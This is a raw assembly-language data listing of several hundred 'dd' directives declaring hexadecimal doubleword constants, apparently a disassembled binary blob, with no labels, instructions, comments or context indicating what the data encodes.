dd 3A96E4E8h, 0D05FD91Ah, 85CC6CADh, 0B6D07EACh, 0AF58D372h
dd 0D2B1E750h, 0AA50EB49h, 36622B49h, 3AB9A2Ch, 0BE99B601h
dd 2218268h, 63B5E64Bh, 18BC6342h, 0AFD907A3h, 0B601046Bh
dd 0D05D1438h, 8C2C07C7h, 19B52466h, 0A48FBCA9h, 0BC9EF406h
dd 35BDA6DCh, 0BDFBBED4h, 2794D3F5h, 0A5175072h, 4F5EE81Eh
dd 35571A59h, 6E03EC1Ah, 9D1E8D2Bh, 7D66843Fh, 100996DFh
dd 58C58CAFh, 0F903E94Fh, 5DC29380h, 0A6E22442h, 9C5DC293h
dd 0C32CDAB3h, 0F25DE9A0h, 4BECD753h, 46809906h, 5DC29442h
dd 68A0DA00h, 5A5DC294h, 0F92F18F1h, 4B654949h, 0F197684Bh
dd 0E5000017h, 14BF0B42h, 43EC3A7Fh, 75DE6C25h, 0A50E9CD9h
dd 0F67DC984h, 632E4FC3h, 97DA7C27h, 0C58CB013h, 0F6BFDE41h
dd 943634B0h, 0B6032294h, 0BA03286Eh, 2F743959h, 56F5BAFEh
dd 0AB09921Fh, 6950EA10h, 5BB6031Ah, 4AE9CAF0h, 1A7CBCCEh
dd 0ED46B603h, 0E454B6F4h, 0FAB6031Ah, 78D57919h, 0C14FE6AAh
dd 7FA8F5EEh, 72CD6E39h, 6CE88B34h, 32BDEDAh, 6F03A4B6h
dd 0C258312Ah, 45E8DB79h, 0BFA8E184h, 8B64214Eh, 6EFE2D5Fh
dd 6BC4BCAEh, 0F23F54BFh, 0E5211A53h, 0A3F6FD7Fh, 3530A664h
dd 52173CE3h, 783154CDh, 79208C40h, 0D6AF0CECh, 1740h
dd 0CE5C1534h, 398DC865h, 6FBBF296h, 5FEBAEC4h, 881E53F4h
dd 83A46E03h, 0B7D778CEh, 6103ACFAh, 12319228h, 8D5FCF5Bh
dd 3223F7Bh, 58C705B6h, 0D80EB5E7h, 9B1851F7h, 0BACC1682h
dd 0B6031A8Fh, 0AA2CDA75h, 76B836BAh, 0A7EE8DA3h, 0E048217Ah
dd 3BFA997Ah, 42785118h, 0D396BB24h, 349EF2Bh, 0DB9EB4B6h
dd 0AA854556h, 755E840Eh, 0A2899D4h, 6FC9E24Fh, 1ECC77D8h
dd 15BF65DCh, 0BCFCEA5Dh, 32014B6h, 49E2B603h, 1AFC7EE4h
dd 4328589Fh, 0A0E761B7h, 3CB603AAh, 0D0CCCE57h, 1F147401h
dd 0B25357F1h, 631B603h, 726092h, 0BABB0000h, 8DE1CD30h
dd 0FA3E439Fh, 95318C2Dh, 58AA3B73h, 0ACC22DAFh, 258AC361h
dd 739D1BF4h, 93935BD8h, 2FAF58AAh, 0E3DFDB44h, 0A12DF01h
dd 40h, 428F9ADCh, 0EA374BCFh, 5FA6654Eh, 5CAF57D7h, 65A743F8h
dd 0B5FFD77Ah, 6CC46748h, 0C71C6E5Eh, 307D5682h, 0AA83CE6Fh
dd 88AA15B1h, 3E953C5h, 27ED37C9h, 626593F5h, 40F9F12Dh
dd 5259DF52h
dd 0AEEA1CBAh, 94AF57D6h, 0AAA7DBBh, 57C315B1h, 0C3D407ABh
dd 280148EBh, 0E1205A80h, 0A3B60043h, 0B4DAC669h, 91F27763h
dd 3871BEF7h, 2241E24Fh, 0D174DF6Bh, 0A1CF1B98h, 762367h
dd 0E236E1B6h, 0CC511C3Dh, 34793053h, 1C81C86Bh, 0DC5BC4B1h
dd 0D5779D59h, 0B60075D5h, 0BF1484AFh, 2A49AAF6h, 0CB6A3563h
dd 75FD3D4Fh, 6CC7B600h, 0E98C3773h, 7D37FD41h, 44E97FD2h
dd 928B9C01h, 1B374B9h, 23FA0CBAh, 0E1BCA8A1h, 0D2F9036h
dd 6ACEDF44h, 0DD1C3FE0h, 971CF5B0h, 8FCA684Bh, 0AEE78122h
dd 0C4E563B5h, 0ED34DF48h, 6159E309h, 4234DF49h, 0D4C56A23h
dd 4FF3912h, 0B8F1949Bh, 0EBA2C162h, 0F4B1DD46h, 64FEDD6h
dd 852E3192h, 0B776151Ch, 9822D891h, 34DF49A0h, 4AD0C962h
dd 9E034AE9h, 0E604BF1Dh, 875E75A4h, 0C6E44F3Bh, 0DA7EBFDDh
dd 2475BA93h, 86A50EF4h, 64A62647h, 3B875E24h, 635C351Eh
dd 88C5653Eh, 0A8CB3452h, 0A36BBCE1h, 3B875E67h, 9893135Dh
dd 0B24423C3h, 1EC5FD9h, 1B410B94h, 87A8A9E1h, 78B09B3Bh
dd 49DD94B7h, 0ADDF05A3h, 3B87A96Dh, 0D6D2FC57h, 0CD3B87A8h
dd 6EBFE4A1h, 0BA65B39Ch, 0CC4DD29Bh, 9537D368h, 422FAF1Eh
dd 11FF4BE4h, 93AAE3C7h, 49EF1B50h, 0A10E47E6h, 2FD25D59h
dd 61C2A952h, 0DBF3B5Ah, 522FD20Dh, 47635CF7h, 0D1ABEF19h
dd 0BE99522Fh, 0E06A907Ah, 0F6A813AAh, 8C1385EEh, 0DF05A1E8h
dd 0F01A5FF4h, 522EFDB8h, 9477A18Ah, 0FA276A0Bh, 6104EF37h
dd 8A2B8028h, 12A8E183h, 5A3B93B1h, 344C1837h, 93DA7AEBh
dd 8EA30CBAh, 4EF866CBh, 522FB94Ah, 0F2261F38h, 0A7E29011h
dd 81229B7Ah, 1793DA7Ah, 5CC188ACh, 24C279DBh, 0D7D39FE2h
dd 352B6558h, 61A82545h, 0ED15E37h, 0AB0FCA5h, 0D78BB8F0h
dd 29A18A58h, 5593CFE3h, 0EBB4E47Ch, 0BCDA0049h, 0D7710E0Ah
dd 7496F458h, 58D77134h, 0DB4C250Eh, 7BACF1B8h, 49EC573Dh
dd 6302A300h, 3456FC2Ah, 58D770F4h, 503365CEh, 0B4BB64D1h
dd 0EA42D891h, 0BBA04CFEh, 1C19h, 5DFF2200h, 0AE0E8F14h
dd 684BF115h, 0D82E8AC7h, 0B5FFF661h, 31B20823h, 47h, 3C30BA14h
dd 0B4F41615h, 8EAF57D7h, 3452DA5h, 0B9DB44D4h, 49E9CAF0h
dd 7EA3E68Ch, 0B2D3342Dh, 3F79B2FFh, 0D269CB4Ch, 0EA7BA234h
dd 6766D8FBh, 0FA912B31h, 0ECB600B2h, 0D1296003h, 6318705Ah
dd 98A6F24Eh, 14C6BBFh, 0E65DFF20h, 0ED5386C0h, 8E31B5FFh
dd 2F78A5E0h, 0F434D236h, 0B7AAB303h, 0A708BE05h, 8369CF8Ah
dd 5B363679h, 0CAE28B1h, 0DBFC4AFCh, 0D39E439Bh, 0E9814ADCh
dd 996814Fh, 73972C80h, 6C77B3D5h, 0E24DB15Bh, 0BADE081h
dd 0BE31BBE1h, 0A927BCE2h, 63E462B6h, 21B8037Fh, 4CEFD0F6h
dd 7F1E8105h, 5E549236h, 6744F124h, 13139Eh, 29600700h
dd 581D329Dh, 8EC761C2h, 0BEFB9738h, 0EBA6C768h, 71A1D05Fh
dd 0A6099DD0h, 0D27DC984h, 4AFFBB2h, 0A922861h, 2672B6D0h
dd 0A50B603h, 3559BA2Dh, 0BEFA3370h, 57D870A8h, 32892BAFh
dd 0F4677294h, 135DB5FFh, 41F11081h, 6706D0ABh, 0BE1B1783h
dd 0BA25C1BAh, 0EC57D39Ah, 469C0148h, 42C91434h, 4CEC8B4Dh
dd 0DF0940E3h, 0F3277C01h, 9D532C8Fh, 91000012h, 0C86BBFF6h
dd 0F758EEABh, 21821851h, 51F2480Dh, 0A2297D30h, 2F62030Fh
dd 5B16389Bh, 89C064CFh, 0BAF3923Dh, 0D862F86Ch, 0B60326E0h
dd 0E7BF64A2h, 0AED80EB5h, 0B5FFF39Bh, 0B718CE69h, 0E84BDF9Ah
dd 0A10E4Bh, 488F145Dh, 96BBC263h, 46A957D3h, 9CCD6B22h
dd 6DD447D2h, 0BAFF94FBh, 0F2B2F575h, 4278B5FFh, 278CC161h
dd 68C9A2F6h, 3D89CC61h, 2B8FD92h, 6ACE87A1h, 0AF9C30F9h
dd 3DE9C28Fh, 0AB36808Bh, 3DE942BCh, 0ACFAB3D2h, 84296003h
dd 99D4755Eh, 12950314h, 5BED19A2h, 0C35678CDh, 0EC6E9CB7h
dd 6A9D37DDh, 45AF0904h, 0DBF3B5Ah, 0C355E90Dh, 27635CF7h
dd 7018D97Ch, 0CAA3F439h, 0CB70A465h, 2DEED1Fh, 8BA4C9FEh
dd 29DA7D5Dh, 0DBA407DFh, 11C4h, 42D891B8h, 0BD094CE1h
dd 0EB3F7612h, 0DB6F2A48h, 0C9AD778h, 7F20F287h, 2B4BF432h
dd 0DD7F2066h, 8EAD1694h, 1DB43C7h, 327C3C7h, 0DC7B81B6h
dd 57D76BA6h, 85D77DAFh, 0A51D9E5Dh, 8E8A34E1h, 74AF580Ch
dd 0B2D25DDBh, 1B41AFFBh, 580BA9E1h, 0D0DBFAFh, 0F7AF580Ch
dd 29A18A5Ch, 50574427h, 0FE49EF00h, 87C1E55Eh, 0B6032FF9h
dd 59BA60CBh, 1451FE3Fh, 0F4C0EF3Bh, 135FCA18h, 180FFh
dd 1CBA4000h, 57D6AEEAh, 7DBB94AFh, 0CABF08AAh, 0D70500BAh
dd 73DCAF57h, 0CBDDBA96h, 1CBAEC6Fh, 57D6AEEAh, 1855F5AFh
dd 0D740829Bh, 0D748C641h, 3F59BAF2h, 3C791576h, 0E7C8B5FCh
dd 0F8180DB4h, 0CAE8F413h, 35EF15DFh, 30000000h, 0D208ABE7h
dd 9B185DF1h, 4D002182h, 3A61B7E0h, 0D70500BAh, 54FFAF57h
dd 612C4DB6h, 87115800h, 0BADDBA9Ch, 24743959h, 0B794DD7Bh
dd 2FDFE0C5h, 0FA000000h, 83C5ABE7h, 0AF57D787h, 0CF9D27Dh
dd 0D70500BAh, 73DCAF57h, 3559BA96h, 0BEFA3370h, 1CBACFB4h
dd 57D6AEEAh, 7DBB94AFh, 0EADF96B2h, 0E8F4E0C5h, 0EF15DFCAh
dd 4Eh, 0DB4E730h, 0EABB9FD9h, 3357597h, 240FAF58h, 982CF9AAh
dd 0E04D0427h, 0BA3A61B7h, 57D70500h, 0B654FFAFh, 3D622B4Dh
dd 0BA674CECh, 0D9E19930h, 55F317DCh, 0AD86971Ch, 0FF7AE10Bh
dd 0C5321752h, 7DDFE0h, 0D83B0000h, 79B2FFBAh, 59BAF43Fh
dd 0FE2F7439h, 124EEDBAh, 0FE8216D4h, 0AF459DEBh, 6E83AF2Eh
dd 228D3912h, 0ECA9C500h, 3B7DAEF3h, 500BAF0h, 0DCAF57D7h
dd 8E1356FBh, 0BAC7A49Dh, 0D6AEEA1Ch, 0BB94AF57h, 0FF88F77Dh
dd 0A290DA52h, 8E14D046h, 5F1F1BA3h, 4AE5AF58h, 0E10FB551h
dd 585F63A7h, 0CCF621AFh, 0AF585ECCh, 101B9DB6h, 723B59BAh
dd 9ED3742Dh, 549673A5h, 1C81C86Bh, 0DF86AD0Bh, 0FFFFFE77h
dd 86B5E7FAh, 17B3ACE9h, 0AA9AACC5h, 0AAEA40Fh, 8C73A6E0h
dd 0E651B603h, 0F5BCDFC0h, 0C840EED1h, 38C7ABEh, 0F6EF48B6h
dd 0CE6FD8A2h, 0F5355773h, 0CFB6038Bh, 0EE184664h, 0B6038BAAh
dd 8C0E0ABCh, 5BF4B603h, 9B08A08Bh, 38C5953h, 65284AB6h
dd 88C16738h, 951E952Bh, 70319A06h, 74677662h, 0E913B914h
dd 0B60393B1h, 0D7D37593h, 0ADB60393h, 0CD0FA982h, 21h
dd 0D75EA656h, 2645AF57h, 0E621DB6Fh, 0A5AF57D6h, 0EC1ECC77h
dd 0B5FFDFF9h, 59DA60CBh, 9Dh, 3859BA7Ch, 30642375h, 7E2D5F8Bh
dd 44B5FFE6h, 0B0D43FEBh, 2B692B18h, 8C654BD6h, 49EFD03Eh
dd 6507A800h, 7715FE2Ch, 8009FA3Eh, 0C973972Ch, 0BCABE4CAh
dd 886B9FB8h, 0B619ADE4h, 0C952DF96h, 8C2AD06Bh, 0E14E0323h
dd 59E660C8h, 2BC35727h, 5AF9DA00h, 0C7B0F99Bh, 1A3AA543h
dd 3B5AC553h, 0B66E5672h, 4162E5D0h, 0EBFC0h, 0DD94B300h
dd 0C49E649h, 3A7315BEh, 6A2F43ECh, 9FD273DCh, 25ED8C0Bh
dd 52FD4904h, 86297D30h, 0B81BAFE6h, 0DE4EDC95h, 2ABEFA0Ch
dd 4684B603h, 155CFFD9h, 0D86567F1h, 0D9983A15h, 1033EC5Fh
dd 8955D459h, 0EA656C4Fh, 0EF49D7AAh, 97E1AB74h, 5B1A145Ch
dd 0F1BEFA34h, 2F8F1B52h, 12DF3033h, 3ADAh, 0B5E76D00h
dd 0CCFE8EEFh, 2A032374h, 0FC434AFCh, 1601B600h, 3C751889h
dd 6F2645EEh, 793058BBh, 0D6B5E334h, 0AE5CE755h, 0A90BAD1Ch
dd 6EBC97BCh, 0E8205A80h, 0DABCA90Bh, 0FFFC2771h
dd 0B3FE9F52h, 0C6443D6Eh, 5048F218h, 32AF57D7h, 5F5BED19h
dd 25AF57D7h, 6C01AE0Ah, 4D428429h, 56AF57D7h, 902B7F36h
dd 0D963873Ch, 0B6031964h, 0B0F5997Ah, 50FE3A73h, 0B8E0C3E7h
dd 0F48EB5F1h, 135FCA18h, 10CFFh, 0B7E74000h, 0E193CAEDh
dd 74A50A43h, 0CF32B87Ah, 61BAE7A2h, 0BAAA9F88h, 57D70500h
dd 9673DCAFh, 6FCBDDBAh, 0DE36AB2Dh, 0F18D6224h, 0ABE77CA7h
dd 9C791308h, 180DB4E7h, 57F1D2F8h, 0F4919A1Eh, 15DFCAE8h
dd 0F2B7DCC7h, 4894A6h, 0E7AF0000h, 77D380ABh, 0EDCBEA8Bh
dd 0E938CC2h, 0C1BAF395h, 2AA7E325h, 0B29DAF58h, 1CBAECD9h
dd 55DA9FB3h, 1312D444h, 0D5AF57D7h, 260B3883h, 307819D9h
dd 0BA40250Eh, 0DF92B31Ch, 59FF5259h, 0E0C52B10h, 29DFh
dd 0ABE7FA00h, 0BA1308h, 0AF57D705h, 0BA9673DCh, 1059FFDDh
dd 0FE3A4CEAh, 0C4AF57D6h, 0BAE6CD6Bh, 9EF0E030h, 8B2D7E8Eh
dd 0E8F40D1Eh, 0EF15DFCAh, 21h, 0DB4E730h, 500BA18h, 0FFAF57D7h
dd 0DDBA7754h, 321752FFh, 713459BAh, 0DF594227h, 1Fh, 0DB4E7FAh
dd 296E9FD9h, 0F72468ECh, 0BA7AA1h, 0AF57D705h, 0BA9673DCh
dd 1752FFDDh, 0DFE0C532h, 0FFFFFEEBh, 0DA1CBAFAh, 0E5A772B7h
dd 4E4A742Ch, 34AF58C1h, 74B9F093h, 59EE4A23h, 609A40FBh
dd 0B6040439h, 5CFA200Bh, 0E7AECD36h, 615961BAh, 42B60404h
dd 0B19A6C21h, 31672250h, 86CF6Eh, 7FAB1687h, 403CDCDh
dd 179CB7B6h, 403D5D7h, 991AF1B6h, 73FFAD99h, 244814h
dd 0A6D30000h, 0AF57D75Eh, 3C99F600h, 81AF1D9h, 8A302960h
dd 58D23870h, 0F7210AAFh, 0FE4C0528h, 0CF75h, 0B5E75000h
dd 51B2D80Eh, 60ED9B33h, 0A351146Dh, 51986ECAh, 33B600AAh
dd 6301E218h, 12A82A2h, 60017111h, 217AA790h, 61B0F1A9h
dd 0CCA50D16h, 76B7D57Eh, 7109DD8h, 3F65812Eh, 0FFE08D8Dh
dd 5CDC77B5h, 34D269CBh, 0E226608Eh, 0A0B5FFDFh, 0E0272177h
dd 86BCAB22h, 0DC069E74h, 61B75828h, 6D5674DFh, 9F0086CFh
dd 0AE6FB4FDh, 0F711B50Eh, 0C356D66Ah, 0E8CBFF58h, 0EBF50D44h
dd 0D0056B2Dh, 0B0DE0494h, 1CB8F00Ah, 0A18AC356h, 0CC85A877h
dd 0FFB6D57Eh, 0D1C0E5C9h, 7BC4E7E5h, 0BB0h, 7ECC85A4h
dd 0A9FDB8D5h, 9F2B6206h, 0CF5B1E34h, 388EC364h, 7314FEB3h
dd 2747E83Eh, 0D173DC6Ah, 82A10298h, 7DEF7FCBh, 32DCFCBh
dd 0C877B5B6h, 0F09D5CFFh, 7B54113Dh, 0D6FD3D4Fh, 6CC7AF57h
dd 0D6752E73h, 90B27717h, 6E4750DDh, 0B2FFE8C1h, 0D6DD46EFh
dd 0CA8FEB7h, 12DFD210h, 27F7h, 0B5E74800h, 93AED80Eh
dd 71B5FFE4h, 99BF20C6h, 3AEB58D0h, 6BD4521Bh, 9B1C81C8h
dd 22648239h, 0BCA7F197h, 5F44C26Dh, 723B59BAh, 0F3BCFC2Dh
dd 41EF1B5Eh, 57D70307h, 0B056C1AFh, 57D71216h, 0D147F0AFh
dd 0D7A2916Bh, 6301AF57h, 892B9C2Ah, 0EC6E9432h, 0C449A609h
dd 3C55317h, 0B6041895h, 0BD26C46Fh, 0AE54D29Bh, 1C8F2745h
dd 76335A0Eh, 0DB44E9C2h, 9D1BF4BDh, 0CA18F496h, 59FF135Fh
dd 40000001h, 87C1B7E7h, 0AF57D783h, 8FDD641h, 0DA1CBAh
dd 6B587E43h, 70B7B1E7h, 71AF5882h, 0DDBA2318h, 0E7EC6FCBh
dd 791308ABh, 85B4E79Ch, 0E32761E9h, 0A1AF57D6h, 50459D76h
dd 24240E11h, 0F8EDDAB3h, 1430BA13h, 0F30C42ADh, 33E753ABh
dd 0F0CA6197h, 86F0FCB8h, 471715DFh, 28000000h, 743959BAh
dd 742F6324h, 0A7C72856h, 0D6E820EAh, 56D2AF57h, 0F8380485h
dd 8C2C07C7h, 500BAA7h, 0FFAF57D7h, 0DDBA7754h, 0AEEA1CBAh
dd 94AF57D6h, 64294ABBh, 84CD6B34h, 0BE21C5A7h, 5E45D39Ah
dd 2FDFh, 1CBAFA00h, 57D6AEEAh, 153394AFh, 7235635Ch, 0BA8663DCh
dd 57D70500h, 9673DCAFh, 59FFDDBAh, 6F09EA10h, 8A0F926h
dd 0BE21C523h, 5358D09Dh, 0DFCAE8F4h, 3AEF15h, 0E7300000h
dd 0BA180DB4h, 9D91DD30h, 0B5E3D854h, 151A1DAFh, 4FE8AF58h
dd 5F1A389Bh, 0DDBAD2D9h, 321752FFh, 4FDFE0C5h, 3B000000h
dd 0B7BCC7B1h, 0A02D4E2Dh, 25A73FBCh, 3F64B4FEh, 180DB4E7h
dd 0D70500BAh, 73DCAF57h, 0DA1CBA96h, 31929EE4h, 206C0AFh
dd 0C8AF583Eh, 8FD0D4A2h, 73DC2E03h, 0BA503F25h, 33703559h
dd 5CF1BEFAh, 547ED19h, 0AF57D705h, 0DFC454FFh, 9EDFE0C5h
dd 0FAFFFFFEh, 0D80EB5E7h, 31A7BAEh, 38EE49B6h, 591C3192h
dd 642D50DFh, 723B5D46h, 4AEB5C26h, 79B1CBFFh, 4BB6031Ah
dd 0E9B03AE0h, 4850695Eh, 10DA49EFh, 0B603A51Ah, 7FA4E989h
dd 6BC885A6h, 2AD598BAh, 0F912081h, 0B2DAFD5h, 0B2D74B6Fh
dd 3B5C5C66h, 0F802B603h, 0B6033AC0h, 0FE59A982h, 5260C1BAh
dd 1474B666h, 3E81h, 36115B00h, 0BF3424C8h, 0A9760A22h
dd 0E7F05851h, 5EA66AB1h, 45AF57D7h, 0CEE48E26h, 0DA145DFBh
dd 1BF49565h, 0D07E618Fh, 0EBBC0395h, 5E000000h, 58929630h
dd 7311AF58h, 22A4F53Ah, 0E784AF09h, 0ADE886B5h, 94B61700h
dd 803AE0D9h, 0B5FFD99Dh, 6D244467h, 0E4045674h, 0D9A592BAh
dd 957EE434h, 0C768BEF7h, 0C647ECA5h, 9339ED56h, 0D2460330h
dd 0AB571514h, 0A644EFBCh, 0B0561F3Dh, 34642D4Fh, 1E3FA04Eh
dd 0ADF2B7DBh, 8A15837Ch, 0BD7EA3EAh, 0D806A41Fh, 0AB576AAEh
dd 0CECA7CBCh, 0B4BCAB56h, 48E04B9Bh, 98D718A2h, 0AADC356h
dd 24FD226Bh, 0C8E14E03h, 99912BDFh, 6BC35699h, 0D033D7C0h
dd 0E486E7A2h, 0FAE50FA9h, 2B94125Bh, 24668C08h, 0C35698E4h
dd 4D4D75DEh, 37C35699h, 385231Ch, 0DE5D144h, 822D5AEh
dd 73160000h, 2E43EC3Ah, 0D474DF6Bh, 88A6099Dh, 0B5D679CDh
dd 9425A2F8h, 0A90DD7Eh, 46C489A9h, 0B0F6BFDDh, 0E1256C0Fh
dd 65A5E705h, 5FB60331h, 5CFF3219h, 74178815h, 626893Dh
dd 0F1BCDE4Fh, 0E845C4A7h, 541D4047h, 0D68A66D6h, 2A6D12DFh
dd 0B6000000h, 0D80EB5E7h, 0D71008B2h, 59F2AF57h, 4CF315DFh
dd 36B5FFE1h, 4E56901Dh, 6AB5FFE1h, 26122081h, 0C11477DCh
dd 50h, 0EB5E75Ah, 3751B2D8h, 87F8317Eh, 1700ADE4h, 0DDDC4781h
dd 8DA6B5FFh, 58DC7F20h, 0FFDDEA2Eh, 0D499B9B5h, 9A403912h
dd 9F54DF50h, 6CCCF62Dh, 571E3DE6h, 68D341CAh, 783D51B2h
dd 0AD902A30h, 97BCA7F9h, 12CC0EBCh, 955940F4h, 0EDCAB0F8h
dd 0FFFB30BAh, 0D8A0397Bh, 0AB4C3150h, 0EE14B209h, 1AB65C6Ch
dd 9D0E136Fh, 0E563B5F0h, 0B5FFF076h, 548B024Ch, 0AC2F0DCBh
dd 44C517B3h, 2B4232A7h, 35DF47D1h, 0C23D7D8Fh, 2C07B600h
dd 0CE17A8Ch, 7ADA7677h, 9CE325C1h, 667D1F3Fh, 75A760CDh
dd 69EE18CEh, 5B83C779h, 43ACCAF0h, 0D4C56A2Fh, 79949436h
dd 0C56E83C7h, 0E0A9CC53h, 633ABC5Ah, 93DA7A24h, 5DD7BE5Bh
dd 783154DBh, 60C74240h, 0D0B17225h, 6D0h, 5EECA5C4h, 891D58F5h
dd 0FF4B0226h, 2F7B3E54h, 18AEE384h, 1334DE93h, 0C767C85Eh
dd 0F1933C8Ah, 0A2C162B8h, 1DCF5FEBh, 332AFEBh, 0E85795B6h
dd 0F09D5CFFh, 463F68B5h, 692048D9h, 486C3BBDh, 0F26584EAh
dd 38B2DF23h, 38701BE1h, 2D4BB452h, 0C1733464h, 0D0A4C7Ah
dd 9E564D6Dh, 0AAEF84E5h, 55BEE40Eh, 1A53F134h, 0DAB8495h
dd 391C0FBh, 4A982B6h, 14B4FD9Bh, 0F3244B88h, 4D5A2B88h
dd 41000006h, 78DB6F26h, 0A7089EDBh, 0D172C881h, 1A2F8BDh
dd 12992D60h, 0DF92B35Fh, 0B46E84Bh, 397014BFh, 6A2342EDh
dd 689248DCh, 0B6033330h
dd 0E76FD412h, 0AED80EB5h, 0B6031A67h, 3DB0FF79h, 76DCE7AEh
dd 97331C22h, 718B0B2Ch, 0B6031139h, 0E137200Bh, 0CE87A102h
dd 24CC8C1Ah, 562F8CF3h, 5ECh, 0AAF0B9E0h, 0E5216409h
dd 0D3571E3Ah, 387C270h, 74B2FFA0h, 2748CAEFh, 0D373DC6Ah
dd 85A7089Eh, 0B6D57ECCh, 2933ABFFh, 3349B9Fh, 42369B6h
dd 0D80EB5E7h, 31A63AEh, 0A9F621B6h, 0EF1950F8h, 0F324C3C1h
dd 0A113ECCFh, 95000005h, 0C46FBBF2h, 0F35CEAAFh, 258E1C55h
dd 55FE4C09h, 0A62D7934h, 135EFF13h, 470A2C97h, 753C60C3h
dd 0A6EF8E31h, 24668460h, 0B60333E4h, 0FFB398DEh, 1788155Ch
dd 2FF03D74h, 47D8450Ch, 0E8C16E2Bh, 1B98D177h, 0D77DBDCFh
dd 0EC47AF57h, 0C453DC49h, 343BE451h, 24C25811h, 44D49DBBh
dd 0ACF1B8DBh, 57D76BAAh, 5B1638AFh, 64214DD6h, 0A199233Fh
dd 63AF57D7h, 4CD542C8h, 0D6C2C600h, 9780AF57h, 0CE57C4BEh
dd 890CA4C7h, 0D6DCC9C1h, 9B04827Bh, 561F39F8h, 171216B0h
dd 47F0AF58h, 3D60C16Eh, 9883DA95h, 29020673h, 318A2A9Dh
dd 0EF846F95h, 841405AAh, 61B42h, 0E14EE9B6h, 6DADDF05h
dd 57B60006h, 6AAABCFCh, 6B60006h, 57B804ADh, 783C7C35h
dd 1477FD8Ch, 3C6Bh, 0B5E7BC00h, 8B2D80Eh, 0AF57D710h
dd 40E859F2h, 345AF09h, 0B60004ECh, 36307DD6h, 0B60004EEh
dd 3C80218Ah, 0B7FCB5D3h, 2064066h, 0C0B60005h, 7955C157h
dd 9C1477F8h, 0F9h, 155CFFA7h, 3B761788h, 98EE68F6h, 0C089AFABh
dd 0D76E7B36h, 587F75B5h, 0BE44FAFh, 7F6DADDFh, 0FC57AF58h
dd 1950F3BCh, 0C0680B94h, 98F97A79h, 2FAF279Eh, 73B52F63h
dd 2DDF6B44h, 0AF587E2Ch, 0DD7CD477h, 45DB9DFAh, 9A05817Ah
dd 54193AFBh, 0A81414B6h, 45EEAF58h, 0D646C76Ch, 0A50A43E5h
dd 7FFE7A74h, 0F5BE667Ch, 2D5CEE1Ch, 17B6003Fh, 0E1DA9FB4h
dd 9B2E2A5h, 0E17EABDDh, 3A60BCAAh, 0AAE18880h, 0EC2C5EBCh
dd 0D6BCAAE0h, 56C26D7Dh, 3D5B8FA8h, 0AAE18F8Bh, 5EDA75BCh
dd 470A2B94h, 535329A3h, 0AE730F03h, 89C4A54h, 0D741BDB2h
dd 0ECA1C26Dh, 7CAE8E3Ch, 2C9516ECh, 3C8h, 56D49DBCh, 810540EDh
dd 0F7337A1Eh, 2763264Ch, 1096DB7Ch, 0B2CE68Bh, 3F5FC046h
dd 0E98B3472h, 9AB91AA0h, 15D757D3h, 335B7F3h, 0E04F8DB6h
dd 97135EFFh, 0FA40092Ch, 0C3B5E7DDh, 57D781B9h, 0FFE843AFh
dd 0BBFA81CBh, 21DC9278h, 0C4DB6DF7h, 0BEB6003Eh, 98D20895h
dd 0A4B931B9h, 63E5334Bh, 0B600A223h, 4F4BD4BFh, 14771D53h
dd 0DFBAh, 5CFF8D00h, 83FCAFF4h, 57F14179h, 0DE2803AFh
dd 0A145C2B6h, 582B2367h, 5D36E1AFh, 5AEC0AD0h, 0AF582B5Eh
dd 0F99A0B24h, 9ABB64B4h, 0C7804AD7h, 0DCAF582Fh, 9AAF0B9h
dd 3DFE236Ah, 5886249Fh, 119EDB77h, 23569018h, 0E1B60040h
dd 0E557F036h, 2547A85Eh, 1356FB6Ch, 0D11B9D8Eh, 6D2448ABh
dd 0DEAD3DCBh, 7197BCAAh, 0DF79B1CBh, 0E04BBCAAh, 0AADEE226h
dd 9E77A0BCh, 0ADE48768h, 5DFEE10Bh, 8298A10h, 0FEF1A345h
dd 0C4E7EC7Ch, 2C77Bh, 0D59CBB00h, 441EE51h, 327B1D86h
dd 62274BF4h, 97DA7B24h, 2DE59413h, 5AC5410Ch, 8E317538h
dd 0C063A7EEh, 0D656D49Dh, 36B6F214h, 4E8CB603h, 135EFFE1h
dd 7FEF6997h, 3B1BFF37h, 92B17EBAh, 47812FDBh, 0AF58B243h
dd 94B51601h, 0CEF55FD9h, 0F1155CFFh, 0C3769367h, 76D7F648h
dd 0B31098D5h, 0F09253F2h, 9846C4BDh, 0DE5A1737h, 0AA50EB49h
dd 64A4E60Ch, 5EAF57F7h, 0FAA5A3F5h, 0C8B60001h, 0FE24C26Fh
dd 24C4Ch, 0C51D36B6h, 7B9C3CDEh, 489E1A0Ah, 0B5FFE34Ch
dd 10228368h, 1477DE24h, 3BC3h, 0B5E76400h, 5BF7D80Eh
dd 0D73BA7FFh, 0A982E7F3h, 5F851304h, 0E3A2Dh, 0FB2F08B6h
dd 0DEF2B5Dh, 0F2D5B600h, 892F185Dh, 0DD4D01Ah, 1BF0B600h
dd 0E1AC989Ah, 374B1477h, 0DC000000h, 0AEEA1CBAh, 94AF57D6h
dd 0ACEB7DBBh, 0EFAF57D6h, 86D0F64Dh, 2D728B04h, 866CCC14h
dd 0FFE68944h, 36587BB5h, 0CE5367Bh, 0CC6F50BEh, 0FD226B0Dh
dd 3D6EB3ACh, 0B5E7B0FBh, 2B6B2BEFh, 6D465FB7h, 0C1A40FB9h
dd 0B59EB600h, 0C68FAE11h, 7BE84059h, 0C1B3F3h, 0BB64CFB6h
dd 7739C3BFh, 322A14h, 963C0000h, 0CA3474h, 0F3250EB6h
dd 0D75EA6A8h, 0FF5DAF57h, 6964A644h, 5BB5FFE4h, 264CAAF0h
dd 0FFE4A4E4h, 0CE789EB5h, 0B5FFE4CAh, 45A69FB8h, 0DBC06825h
dd 5EBA30BAh, 90FF01B8h, 962D8F18h, 30C3D670h, 9681B603h
dd 0A5EC8F70h, 5E9FBE61h, 1257FB3Ah, 0CAA3F439h, 2953F965h
dd 0B60330F1h, 742F0D3h, 9F3D8A2Eh, 0EEC78AACh, 25D5BE38h
dd 58621A85h, 0C802EF73h, 50D8F539h, 0EF836C8Ah, 0B31405AAh
dd 5851DE93h, 3A8016D0h, 0E942BCAEh, 82C973Dh, 3A81B941h
dd 0E843BCAEh, 1A399A40h, 274CB753h, 4CEC3D62h, 773E5DC6h
dd 8833612Ah, 54212852h, 0DCC7C356h, 96B8F0B9h, 8A530BBDh
dd 0B675E5D1h, 0BFCDh, 0DD94B300h, 0C49E649h, 3A7315BEh
dd 6A2F43ECh, 9FD273DCh, 25ED8C0Bh, 52FD4904h, 86297D30h
dd 0B81BAFE6h, 0DE4EDC95h, 38BEFA0Ch, 4684B603h, 0EFB5E7D9h
dd 0CCBF7ABFh, 54FA6B10h, 0A29B8C11h, 1F30C204h, 3912B603h
